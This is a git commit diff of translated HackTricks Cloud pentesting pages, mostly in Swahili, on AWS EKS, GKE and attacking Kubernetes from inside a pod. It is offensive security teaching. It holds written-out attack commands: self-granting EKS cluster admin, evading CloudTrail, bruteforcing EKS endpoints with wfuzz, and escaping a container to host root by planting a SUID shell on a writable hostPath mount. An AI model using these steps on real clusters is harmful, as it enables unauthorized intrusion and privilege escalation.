mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-services/gcp-cont
This commit is contained in:
Translator
+30
-30
@@ -12,20 +12,20 @@ Kwa habari zaidi angalia
|
||||
|
||||
### Enumerate the cluster from the AWS Console
|
||||
|
||||
Ikiwa una ruhusa **`eks:AccessKubernetesApi`** unaweza **kuangalia Kubernetes objects** kupitia AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
Ikiwa una ruhusa **`eks:AccessKubernetesApi`** unaweza **kuona objects za Kubernetes** kupitia AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Connect to AWS Kubernetes Cluster
|
||||
|
||||
- Njia rahisi:
|
||||
- Easy way:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Sio njia rahisi hivyo:
|
||||
- Sio njia rahisi sana:
|
||||
|
||||
Ukifanikiwa **kupata token** kwa **`aws eks get-token --name <cluster_name>`** lakini huna ruhusa za kupata taarifa za cluster (describeCluster), unaweza **kuandaa `~/.kube/config` yako mwenyewe**. Hata hivyo, ukiwa na token, bado unahitaji **url endpoint ya kuunganisha** (ukifanikiwa kupata JWT token kutoka kwa pod soma [hapa](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) na **jina la cluster**.
|
||||
Ukiweza **kupata token** kwa **`aws eks get-token --name <cluster_name>`** lakini huna permissions za kupata cluster info (describeCluster), unaweza **kuandaa `~/.kube/config` yako mwenyewe**. Hata hivyo, ukiwa na token, bado unahitaji **url endpoint ya kuunganishia** (kama uliweza kupata JWT token kutoka kwa pod soma [hapa](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) na **jina la cluster**.
|
||||
|
||||
Kwa upande wangu, sikupata taarifa kwenye CloudWatch logs, lakini **niliipata kwenye LaunchTemaplates userData** na pia **kwenye EC2 machines katika userData**. Unaweza kuona taarifa hii kwenye **userData** kwa urahisi, kwa mfano katika mfano ufuatao (jina la cluster lilikuwa cluster-name):
|
||||
Kwa upande wangu, sikupata info kwenye CloudWatch logs, lakini **niliipata kwenye LaunchTemaplates userData** na pia kwenye **EC2 machines katika userData**. Unaweza kuona info hii kwenye **userData** kwa urahisi, kwa mfano katika mfano ufuatao (jina la cluster lilikuwa cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
@@ -70,55 +70,55 @@ provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### Kutoka AWS hadi Kubernetes
|
||||
### Kutoka AWS kwenda Kubernetes
|
||||
|
||||
**Muumba** wa **EKS cluster** **DAIMA** ataweza kuingia kwenye sehemu ya kubernetes cluster ya group **`system:masters`** (k8s admin). Kufikia wakati huu wa kuandika, **hakuna njia ya moja kwa moja** ya kujua **nani aliunda** cluster hiyo (unaweza kuangalia CloudTrail). Na **hakuna njia** ya **kuondoa** **privilege** hiyo.
|
||||
Kihistoria, **creator** wa **EKS cluster** alipata hidden Kubernetes admin access ambayo haikuonekana ndani ya `aws-auth`. Katika EKS clusters za sasa, hili linategemea cluster access configuration. `bootstrapClusterCreatorAdminPermissions` hudhibiti kama creator anaongezwa kama cluster-admin access entry wakati wa creation, na EKS access entries hufanya njia hiyo ya admin ionekane na iweze kufutwa kupitia EKS API. Older clusters au clusters ambazo bado zinategemea `aws-auth` zinaweza bado kuwa na legacy creator behavior, kwa hiyo thibitisha `accessConfig`, orodhesha access entries, na kagua CloudTrail badala ya kudhani creator daima ana `system:masters` ambayo haiwezi kuondolewa.
|
||||
|
||||
#### Abusing configmap
|
||||
|
||||
Njia ya jadi ya kutoa **access to over K8s kwa AWS IAM users au roles zaidi** ni kutumia **configmap** **`aws-auth`**.
|
||||
Njia ya jadi ya kutoa **access to over K8s to more AWS IAM users or roles** ni kutumia **configmap** **`aws-auth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Kwa hivyo, yeyote aliye na **write access** kwenye config map **`aws-auth`** ataweza **kucompromise whole cluster**.
|
||||
> Kwa hiyo, yeyote mwenye **write access** juu ya config map **`aws-auth`** ataweza **compromise the whole cluster**.
|
||||
|
||||
Kwa taarifa zaidi kuhusu jinsi ya **kutoa extra privileges kwa IAM roles & users** katika **account moja au tofauti** na jinsi ya **abuse** hili kwa [**privesc angalia ukurasa huu**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
|
||||
Kwa maelezo zaidi kuhusu jinsi ya **grant extra privileges to IAM roles & users** katika **same or different account** na jinsi ya **abuse** hili kwa [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Angalia pia[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post ili kujifunza jinsi authentication ya IAM -> Kubernetes inavyofanya kazi**.
|
||||
Angalia pia[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post ili ujifunze jinsi authentication IAM -> Kubernetes inavyofanya kazi**.
|
||||
|
||||
#### Abusing Access Entries
|
||||
|
||||
AWS imeweka njia ya ziada ya kutoa IAM users access kwa Kubernetes cluster kupitia access entries. Ukiwa na permissions za `eks:CreateAccessEntry` na `eks:AssociateAccessPolicy`, unaweza pia kuweza kuteua Kubernetes administrator role kwa user wako au rol mahususi.
|
||||
AWS hutekeleza njia ya ziada ya kutoa IAM users access kwa Kubernetes cluster kupitia access entries. Kama una permissions za `eks:CreateAccessEntry` na `eks:AssociateAccessPolicy`, unaweza pia kuweza kumpa user wako au role maalum role ya Kubernetes administrator.
|
||||
|
||||
Kwanza, **unda access entry kwa user au role yako**:
|
||||
Kwanza, **create an access entry for your user or role**:
|
||||
```
|
||||
aws eks create-access-entry --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --type STANDARD
|
||||
```
|
||||
Ukiwa na entry hiyo imeundwa, sasa unaweza kuwa na uwezo wa kuassign policy moja kwa moja kwake. Kuna built-in AWS policy inayoitwa *AmazonEKSClusterAdminPolicy* ambayo inaweza kutumika moja kwa moja. Kumbuka kwamba ikiwa environment yako ina custom policies nyingine zinazotoa pia elevated privileges katika EKS, unaweza kubadilisha `--policy-arn` kuwa yoyote kati ya hizo:
|
||||
Kwa ingizo hilo limeundwa, sasa unaweza kuwa na uwezo wa kuassign policy moja kwa moja kwake. Kuna built-in AWS policy inayoitwa *AmazonEKSClusterAdminPolicy* ambayo inaweza kutumika moja kwa moja. Kumbuka kwamba ikiwa mazingira yako yana custom policies nyingine zozote zinazoipa pia elevated privileges katika EKS, unaweza kubadilisha `--policy-arn` kuwa yoyote kati ya hizo:
|
||||
```
|
||||
aws eks associate-access-policy --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster
|
||||
```
|
||||
Unaweza kutafuta sera hii katika nyaraka rasmi za AWS [**hapa**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)
|
||||
Unaweza kutafuta sera hii kwenye nyaraka rasmi za AWS [**hapa**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)
|
||||
|
||||
Kuanzia hapa na kuendelea, sasa unaweza kuwa na uwezo wa kuomba token ya *k8s* na kuingiliana na cluster kama administrator:
|
||||
Kuanzia hapa na kuendelea, sasa unaweza kuweza kuomba token ya *k8s* na kuingiliana na cluster kama administrator:
|
||||
```
|
||||
aws eks get-token --cluster-name <cluster_name> --output json | jq -r '.status.token'
|
||||
```
|
||||
### Kutoka Kubernetes kwenda AWS
|
||||
### From Kubernetes to AWS
|
||||
|
||||
Inawezekana kuruhusu **OpenID authentication kwa kubernetes service account** ili kuwawezesha kuassume roles katika AWS. Jifunze jinsi [**hii inavyofanya kazi katika ukurasa huu**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
Inawezekana kuruhusu **OpenID authentication for kubernetes service account** ili ziweze assume roles katika AWS. Jifunze jinsi [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### GET Api Server Endpoint kutoka kwa JWT Token
|
||||
### GET Api Server Endpoint from a JWT Token
|
||||
|
||||
Kwa ku-decode JWT token tunapata cluster id & pia region.  Kujua kwamba standard format kwa EKS url ni
|
||||
Kwa ku-decode JWT token tunapata cluster id & pia region.  Tukijua kwamba standard format ya EKS url ni
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Sikupata nyaraka zozote zinazofafanua vigezo vya 'two chars' na 'number'. Lakini baada ya kufanya baadhi ya majaribio kwa niaba yangu, naona vinajirudia hivi:
|
||||
Sikupata nyaraka zozote zinazoeleza vigezo vya 'two chars' na 'number'. Lakini baada ya kufanya baadhi ya majaribio kwa niaba yangu, naona hizi zinajirudia:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
Hata hivyo, ni chars 3 tu, tunaweza kuzib bruteforce. Tumia script iliyo hapa chini kwa kutengeneza list
|
||||
Hata hivyo ni chars 3 tu, tunaweza kuzifanya bruteforce. Tumia script iliyo hapa chini kwa ajili ya kutengeneza list
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
@@ -134,7 +134,7 @@ for comb in product(letter_combinations, number_combinations)
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Kisha kwa kutumia wfuzz
|
||||
Kisha kwa wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
@@ -143,21 +143,21 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
|
||||
|
||||
### Bypass CloudTrail
|
||||
|
||||
Ikiwa mshambulizi atapata credentials za AWS yenye **permission juu ya EKS**. Ikiwa mshambulizi anasanidi **`kubeconfig`** yake mwenyewe (bila kuita **`update-kubeconfig`**) kama ilivyoelezwa awali, **`get-token`** haitengenezi logs katika Cloudtrail kwa sababu haiingiliani na AWS API (huunda token locally tu).
|
||||
Ikiwa mshambuliaji anapata credentials za AWS yenye **permission over an EKS**. Ikiwa mshambuliaji anasanidi **`kubeconfig`** yake mwenyewe (**bila kuita** **`update-kubeconfig`**) kama ilivyoelezwa hapo awali, **`get-token`** haizalishi logs katika Cloudtrail kwa sababu haishirikiani na AWS API (huunda tu token locally).
|
||||
|
||||
Kwa hiyo mshambulizi anapozungumza na EKS cluster, **cloudtrail haitalog kitu chochote kinachohusiana na user aliyeibiwa na kuipata**.
|
||||
Kwa hiyo mshambuliaji akizungumza na EKS cluster, **cloudtrail haitaandika chochote kinachohusiana na user aliyeibiwa na kuipata**.
|
||||
|
||||
Kumbuka kwamba **EKS cluster inaweza kuwa na logs zimewezeshwa** ambazo zitalog access hii (ingawa, kwa default, zimezimwa).
|
||||
Kumbuka kuwa **EKS cluster inaweza kuwa na logs enabled** ambazo zitaandika access hii (ingawa, kwa default, zimezimwa).
|
||||
|
||||
### EKS Ransom?
|
||||
|
||||
Kwa default **user au role iliyounda** cluster **DAIMA** itakuwa na admin privileges juu ya cluster. Na huo ndio "secure" access pekee ambayo AWS itakuwa nayo juu ya Kubernetes cluster.
|
||||
Kwa default **user au role iliyounda** cluster **DAIMA** itakuwa na admin privileges juu ya cluster. Na hiyo ndiyo access pekee "secure" ambayo AWS itakuwa nayo juu ya Kubernetes cluster.
|
||||
|
||||
Kwa hiyo, ikiwa **mshambulizi anahatarisha cluster kwa kutumia fargate** na **anaondoa admin wengine wote** na d**eletes AWS user/role iliyounda** Cluster, ~~mshambulizi angeweza **kuiteka nyara cluster**~~**r**.
|
||||
Kwa hiyo, ikiwa **mshambuliaji ata-compromise cluster kwa kutumia fargate** na **kuondoa admins wengine wote** na **kufuta AWS user/role iliyounda** Cluster, ~~mshambuliaji angeweza kuwa amei-**ransom** cluste~~**r**.
|
||||
|
||||
> [!TIP]
|
||||
> Kumbuka kwamba ikiwa cluster ilikuwa ikitumia **EC2 VMs**, inaweza kuwa inawezekana kupata Admin privileges kutoka kwa **Node** na kurejesha cluster.
|
||||
> Kumbuka kwamba ikiwa cluster ilikuwa ikitumia **EC2 VMs**, inaweza kuwa rahisi kupata Admin privileges kutoka kwa **Node** na kurejesha cluster.
|
||||
>
|
||||
> Kwa kweli, ikiwa cluster inatumia Fargate unaweza kutumia EC2 nodes au kuhamisha kila kitu kwenda EC2 kwenye cluster na kuirejesha kwa kufikia tokens kwenye node.
|
||||
> Kwa kweli, Ikiwa cluster inatumia Fargate unaweza kutumia EC2 nodes au kuhamisha kila kitu kwenda EC2 kwenye cluster na kuirejesha kwa kufikia tokens kwenye node.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+33
-19
@@ -4,7 +4,7 @@
|
||||
|
||||
## Containers
|
||||
|
||||
Katika containers za GCP unaweza kupata huduma nyingi za msingi wa containers ambazo GCP inatoa, hapa unaweza kuona jinsi ya kufanya enumeration ya zile za kawaida zaidi:
|
||||
Katika GCP containers unaweza kupata huduma nyingi zinazotegemea containers ambazo GCP inatoa, hapa unaweza kuona jinsi ya kufanya enum ya zile za kawaida zaidi:
|
||||
```bash
|
||||
gcloud container images list
|
||||
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
|
||||
@@ -24,7 +24,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
|
||||
```
|
||||
### Privesc
|
||||
|
||||
Katika ukurasa ufuatao unaweza kuangalia jinsi ya **abuse container permissions to escalate privileges**:
|
||||
Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia vibaya container permissions ili kuongeza privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-container-privesc.md
|
||||
@@ -32,7 +32,7 @@ Katika ukurasa ufuatao unaweza kuangalia jinsi ya **abuse container permissions
|
||||
|
||||
## Node Pools
|
||||
|
||||
Hizi ni pool ya mashine (nodes) zinazoounda kubernetes clusters.
|
||||
Hizi ni pool ya machines (nodes) zinazounda kubernetes clusters.
|
||||
```bash
|
||||
# Pool of machines used by the cluster
|
||||
gcloud container node-pools list --zone <zone> --cluster <cluster>
|
||||
@@ -46,17 +46,17 @@ Kwa taarifa kuhusu Kubernetes angalia ukurasa huu:
|
||||
../../kubernetes-security/
|
||||
{{#endref}}
|
||||
|
||||
Kwanza, unaweza kuangalia kuona kama kuna clusters zozote za Kubernetes zilizopo katika project yako.
|
||||
Kwanza, unaweza kuangalia kama kuna Kubernetes clusters zozote zilizopo kwenye project yako.
|
||||
```
|
||||
gcloud container clusters list
|
||||
```
|
||||
Ikiwa una cluster, unaweza kuifanya `gcloud` isanidi kiotomatiki faili yako ya `~/.kube/config`. Faili hii hutumiwa kukuthibitisha unapotumia [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), CLI asilia kwa kuingiliana na K8s clusters. Jaribu amri hii.
|
||||
Ikiwa una cluster, unaweza kufanya `gcloud` isanidi kiotomatiki faili yako ya `~/.kube/config`. Faili hii hutumiwa kukuthibitisha wakati unatumia [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), native CLI ya kuingiliana na K8s clusters. Jaribu amri hii.
|
||||
```
|
||||
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
|
||||
```
|
||||
Kisha, angalia faili ya `~/.kube/config` ili kuona credentials zilizozalishwa. Faili hii itatumika ku-refresh access tokens kiotomatiki kulingana na identity ile ile ambayo `gcloud` session yako inayotumika inatumia. Hii bila shaka inahitaji permissions sahihi ziwepo.
|
||||
Kisha, angalia faili ya `~/.kube/config` ili kuona credentials zilizoenezwa. Faili hii itatumika ku-refresh access tokens kiotomatiki kulingana na identity ile ile ambayo session yako ya sasa ya `gcloud` inatumia. Hii bila shaka inahitaji permissions sahihi ziwe zimewekwa.
|
||||
|
||||
Mara hii itakapowekwa, unaweza kujaribu amri ifuatayo ili kupata cluster configuration.
|
||||
Mara hii ikiwa imewekwa, unaweza kujaribu command ifuatayo kupata cluster configuration.
|
||||
```
|
||||
kubectl cluster-info
|
||||
```
|
||||
@@ -64,11 +64,11 @@ You can read more about `gcloud` for containers [here](https://cloud.google.com/
|
||||
|
||||
Hii ni script rahisi ya ku-enumerate kubernetes katika GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
|
||||
|
||||
### Current GKE identity and metadata checks
|
||||
### Ukaguzi wa sasa wa GKE identity na metadata
|
||||
|
||||
Wakati wa kukagua GKE clusters za kisasa, tenga Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity, na node credentials. Google principal mara nyingi anaweza kupata cluster endpoint data kwa `container.clusters.get`, lakini maombi ya Kubernetes yanayotokana bado yanahitaji kupita GKE/Kubernetes authorization na vikwazo vyovyote vya mtandao kama private endpoints au authorized networks.
|
||||
Wakati wa kukagua modern GKE clusters, tenga Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity, na node credentials. Google principal mara nyingi anaweza kupata cluster endpoint data kwa `container.clusters.get`, lakini Kubernetes requests zinazotokana bado zinahitaji kupita GKE/Kubernetes authorization na restrictions zozote za network kama private endpoints au authorized networks.
|
||||
|
||||
Workload Identity Federation for GKE ndiyo njia inayopendekezwa kwa pods kupata Google Cloud APIs. Kagua kama cluster ina workload pool na kama Kubernetes service accounts zime-mapped moja kwa moja kama IAM principals au zinaruhusiwa impersonate IAM service accounts:
|
||||
Workload Identity Federation kwa GKE ndio njia inayopendekezwa kwa pods kufikia Google Cloud APIs. Angalia kama cluster ina workload pool na kama Kubernetes service accounts zime-mapping moja kwa moja kama IAM principals au zinaruhusiwa ku-impersonate IAM service accounts:
|
||||
```bash
|
||||
gcloud container clusters describe <cluster> --region <region> \
|
||||
--format='value(workloadIdentityConfig.workloadPool)'
|
||||
@@ -76,17 +76,31 @@ gcloud container clusters describe <cluster> --region <region> \
|
||||
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
|
||||
```
|
||||
If a service account has the annotation `iam.gke.io/gcp-service-account`, review the IAM service account policy for `roles/iam.workloadIdentityUser` grants to Kubernetes service account principals. Also check IAM allow policies for direct workload identity principals or broad principal sets.
|
||||
Ikiwa service account ina annotation `iam.gke.io/gcp-service-account`, kagua IAM service account policy kwa `roles/iam.workloadIdentityUser` grants kwa Kubernetes service account principals. Pia angalia IAM allow policies kwa direct workload identity principals au broad `principalSet://` grants, kama namespace-wide au cluster-wide workload access. Annotation `iam.gke.io/credential-quota-project` inasogeza tu IAM Service Account Credentials API quota kwenda project nyingine; workload principal bado inahitaji `serviceusage.services.use` kwenye hiyo quota project na separate IAM access kwa target resource.
|
||||
|
||||
Metadata access depends on cluster mode, node pool configuration, and workload settings. Do not assume every pod can steal the node service account. In Workload Identity-enabled environments, ordinary pods should use the GKE metadata server to obtain the workload identity intended for their Kubernetes service account. Node compromise, `hostNetwork` pods in some Standard configurations, and legacy node metadata exposure can still change the blast radius, so verify the actual node pool metadata mode, node service account, OAuth scopes, and pod placement.
|
||||
Metadata access inategemea cluster mode, node pool configuration, na workload settings. Usidhanie kila pod inaweza kuiba node service account. Katika Workload Identity-enabled environments, ordinary pods zinapaswa kutumia GKE metadata server kupata workload identity iliyokusudiwa kwa Kubernetes service account yao. Node compromise, `hostNetwork` pods katika baadhi ya Standard configurations, na legacy node metadata exposure bado vinaweza kubadilisha blast radius, kwa hiyo thibitisha actual node pool metadata mode, node service account, OAuth scopes, na pod placement.
|
||||
|
||||
Ikiwa Workload Identity-enabled pod haiwezi kupata token, pia angalia NetworkPolicy egress kabla ya kudhani IAM binding ni mbaya. GKE Standard clusters zinazotumia NetworkPolicy lazima ziruhusu metadata-server path inayohitajika na cluster version na dataplane, na Dataplane V2 hutumia path `169.254.169.254` kwa metadata-server access.
|
||||
|
||||
### Autopilot privileged workload allowlists
|
||||
|
||||
GKE Autopilot huzuia most privileged workloads kwa default, lakini approved exceptions zinaweza kuwepo. Kagua privileged admission settings, `AllowlistSynchronizer` objects, na installed `WorkloadAllowlist` objects kabla ya kudhani privileged pod haiwezekani:
|
||||
```bash
|
||||
gcloud container clusters describe <cluster> --region <region> \
|
||||
--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)'
|
||||
|
||||
kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml
|
||||
kubectl get workloadallowlists.auto.gke.io -A -o yaml
|
||||
```
|
||||
Allowlist paths zinaweza kuwa za GKE (`gke://...`) au paths za Cloud Storage zinazomilikiwa na mteja (`gs://...`). Wildcards na broad bucket paths huongeza blast radius kwa sababu future allowlist files chini ya path hiyo zinaweza kuwa valid kwa cluster. Wakati `WorkloadAllowlist` imewekwa, linganisha exemptions na matching criteria zake na pod spec, hasa image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, na kama `autopilot.gke.io/no-connect` inazuia `exec` access kwa privileged workload.
|
||||
|
||||
### TLS Boostrap Privilege Escalation
|
||||
|
||||
Awali, mbinu hii ya privilege escalation iliruhusu **privesc ndani ya GKE cluster** kwa ufanisi ikimruhusu mshambuliaji **kuichukua kabisa**.
|
||||
Mwanzoni, teknik hii ya privilege escalation iliruhusu kufanya **privesc ndani ya GKE cluster** na hivyo kumruhusu attacker **kucompromise kabisa**.
|
||||
|
||||
Hii ni kwa sababu GKE hutoa [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) katika metadata, ambayo **inaweza kufikiwa na mtu yeyote kwa ku-compromise tu pod**.
|
||||
Hii ni kwa sababu GKE hutoa [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) katika metadata, ambayo **inaweza kufikiwa na mtu yeyote kwa kumcompromise tu pod**.
|
||||
|
||||
Mbinu iliyotumika imeelezewa katika posts zifuatazo:
|
||||
Teknik iliyotumika imeelezewa katika posts zifuatazo:
|
||||
|
||||
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
|
||||
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
|
||||
@@ -94,15 +108,15 @@ Mbinu iliyotumika imeelezewa katika posts zifuatazo:
|
||||
|
||||
Na tool hii iliundwa ili ku-automate mchakato huu: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
|
||||
|
||||
Hata hivyo, mbinu hii ilitumia vibaya ukweli kwamba **kwa metadata credentials** iliwezekana **kutengeneza CSR** (Certificate Signing Request) kwa **node mpya**, ambayo **iliidhinishwa kiotomatiki**.\
|
||||
Katika test yangu nilithibitisha kwamba **those requests aren't automatically approved anymore**, kwa hiyo sina uhakika kama mbinu hii bado ni valid.
|
||||
Hata hivyo, teknik hii ilitumia vibaya ukweli kwamba **kwa metadata credentials** ilikuwa inawezekana **ku-generate CSR** (Certificate Signing Request) kwa **new node**, ambayo ilikuwa **inapproved automatically**.\
|
||||
Katika test yangu nilikagua kwamba **hizo requests hazinapasswishwa automatically tena**, kwa hiyo sina uhakika kama teknik hii bado ni valid.
|
||||
|
||||
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
|
||||
|
||||
Katika [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) iligunduliwa Kubelet API address accesible kutoka ndani ya pod katika GKE ikitoa details za pods zinazo-run:
|
||||
Katika [**post hii**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) iligunduliwa iligunduliwa anwani ya Kubelet API inayoweza kufikiwa kutoka ndani ya pod katika GKE ikitoa details za pods zinazoendeshwa:
|
||||
```
|
||||
curl -v -k http://10.124.200.1:10255/pods
|
||||
```
|
||||
Hata kama API **hauruhusu kurekebisha resources**, inaweza kuwa inawezekana kupata **sensitive information** kwenye response. Endpoint /pods ilipatikana kwa kutumia [**Kiterunner**](https://github.com/assetnote/kiterunner).
|
||||
Hata kama API **hairuhusu kubadilisha resources**, inawezekana kupata **sensitive information** kwenye response. Endpoint /pods ilipatikana kwa kutumia [**Kiterunner**](https://github.com/assetnote/kiterunner).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+130
-180
@@ -1,39 +1,39 @@
|
||||
# Attacking Kubernetes from inside a Pod
|
||||
# Kuvamia Kubernetes kutoka ndani ya Pod
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Pod Breakout**
|
||||
|
||||
**Ukiwa na bahati nzuri unaweza kuweza kutoroka kutoka humo kwenda kwenye node:**
|
||||
**Ukibahatika vya kutosha unaweza kuweza kuikimbia hadi kwenye node:**
|
||||
|
||||
|
||||
|
||||
### Escaping from the pod
|
||||
### Kukimbia kutoka kwenye pod
|
||||
|
||||
Ili kujaribu kutoroka kutoka kwenye pods unaweza kuhitaji kwanza **escalate privileges**, baadhi ya techniques za kufanya hivyo:
|
||||
Ili kujaribu kukimbia kutoka kwenye pods unaweza kuhitaji kwanza **kupanua privileges**, baadhi ya techniques za kufanya hivyo:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
Unaweza kukagua **docker breakouts to try to escape** kutoka kwenye pod ambayo umecompromise:
|
||||
Unaweza kuangalia hizi **docker breakouts to try to escape** kutoka kwenye pod ambayo umecompromise:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
|
||||
### Kutumia vibaya writable hostPath/bind mounts (container -> host root via SUID planting)
|
||||
|
||||
If a compromised pod/container has a writable volume that maps directly to the host filesystem (Kubernetes hostPath or Docker bind mount), and you can become root inside the container, you can leverage the mount to create a setuid-root binary on the host and then execute it from the host to pop root.
|
||||
|
||||
Key conditions:
|
||||
- The mounted volume is writable from inside the container (readOnly: false and filesystem permissions allow write).
|
||||
- The host filesystem backing the mount is not mounted with the nosuid option.
|
||||
- You have some way to execute the planted binary on the host (for example, separate SSH/RCE on host, a user on the host can execute it, or another vector that runs binaries from that path).
|
||||
Masharti muhimu:
|
||||
- Volumu iliyomountwa inaweza kuandikiwa kutoka ndani ya container (readOnly: false na filesystem permissions zinaruhusu kuandika).
|
||||
- Host filesystem inayounga mkono mount haija-mountwa na option ya nosuid.
|
||||
- Una njia fulani ya ku-execute binary uliyoipanda kwenye host (kwa mfano, SSH/RCE tofauti kwenye host, user kwenye host anaweza kui-execute, au vector nyingine inayotumia binaries kutoka path hiyo).
|
||||
|
||||
How to identify writable hostPath/bind mounts:
|
||||
- With kubectl, check for hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
|
||||
- From inside the container, list mounts and look for host-path mounts and test writability:
|
||||
Jinsi ya kutambua writable hostPath/bind mounts:
|
||||
- Kwa kutumia kubectl, angalia hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
|
||||
- Kutoka ndani ya container, orodhesha mounts na uangalie host-path mounts kisha ujaribu writability:
|
||||
```bash
|
||||
# Inside the compromised container
|
||||
mount | column -t
|
||||
@@ -45,7 +45,7 @@ TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
|
||||
# Quick practical test
|
||||
printf "ping\n" > "$TEST_DIR/.w"
|
||||
```
|
||||
Pandikiza setuid root binary kutoka kwenye container:
|
||||
Panda setuid root binary kutoka kwenye container:
|
||||
```bash
|
||||
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
|
||||
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
|
||||
@@ -54,27 +54,27 @@ chmod 6777 "$MOUNT/suidbash"
|
||||
ls -l "$MOUNT/suidbash"
|
||||
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
|
||||
```
|
||||
Tekeleza kwenye host ili kupata root:
|
||||
Execute kwenye host ili kupata root:
|
||||
```bash
|
||||
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
|
||||
# Example host path: /opt/limesurvey/suidbash
|
||||
ls -l /opt/limesurvey/suidbash
|
||||
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
|
||||
```
|
||||
Noti na utatuzi wa matatizo:
|
||||
- Ikiwa host mount ina nosuid, setuid bits zitapuuzwa. Angalia mount options kwenye host (cat /proc/mounts | grep <mountpoint>) na tafuta nosuid.
|
||||
